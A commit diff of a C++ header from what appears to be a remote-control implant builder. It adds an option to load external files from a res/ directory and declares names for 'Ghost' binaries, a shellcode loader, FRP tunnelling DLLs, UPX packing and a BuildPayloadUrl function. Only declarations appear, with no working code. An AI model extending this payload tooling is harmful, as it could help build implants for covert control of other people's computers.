Feature: Allow external resource override from res/ directory
This commit is contained in:
@@ -3,9 +3,42 @@
|
||||
#include "Buffer.h"
|
||||
#include "LangManager.h"
|
||||
|
||||
LPBYTE ReadResource(int resourceId, DWORD& dwSize);
|
||||
// 读取资源:优先从 res 目录读取外部文件,如果不存在则使用内嵌资源
|
||||
// resName: 外部文件名(如 "ghost_x64.exe"),为空时直接使用内嵌资源
|
||||
LPBYTE ReadResource(int resourceId, DWORD& dwSize, const char* resName = nullptr);
|
||||
|
||||
std::string ReleaseEXE(int resID, const char* name);
|
||||
std::string ReleaseEXE(int resID, const char* name, const char* resName = nullptr);
|
||||
|
||||
// ========== res 目录外部资源文件名定义 ==========
|
||||
// 命名规范:<模块名>_<架构>.exe/.dll/.bin
|
||||
// 架构:x86 / x64 / linux / macos
|
||||
namespace ResFileName {
|
||||
// Ghost 主程序
|
||||
extern const char* GHOST_X86;
|
||||
extern const char* GHOST_X64;
|
||||
extern const char* GHOST_LINUX;
|
||||
extern const char* GHOST_MACOS; // 预留
|
||||
// TestRun 加载器
|
||||
extern const char* TESTRUN_X86;
|
||||
extern const char* TESTRUN_X64;
|
||||
// ServerDll
|
||||
extern const char* SERVERDLL_X86;
|
||||
extern const char* SERVERDLL_X64;
|
||||
// TinyRun
|
||||
extern const char* TINYRUN_X86;
|
||||
extern const char* TINYRUN_X64;
|
||||
// SCLoader (Shellcode加载器)
|
||||
extern const char* SCLOADER_X86;
|
||||
extern const char* SCLOADER_X64;
|
||||
extern const char* SCLOADER_X86_OLD;
|
||||
extern const char* SCLOADER_X64_OLD;
|
||||
// FRP 相关 (无架构区分,64位DLL)
|
||||
extern const char* FRPC_DLL;
|
||||
extern const char* FRPS_DLL;
|
||||
// 工具
|
||||
extern const char* UPX_EXE;
|
||||
extern const char* RCEDIT_EXE;
|
||||
}
|
||||
|
||||
CString BuildPayloadUrl(const char* ip, const char* name);
|
||||
|
||||
|
||||
Reference in New Issue
Block a user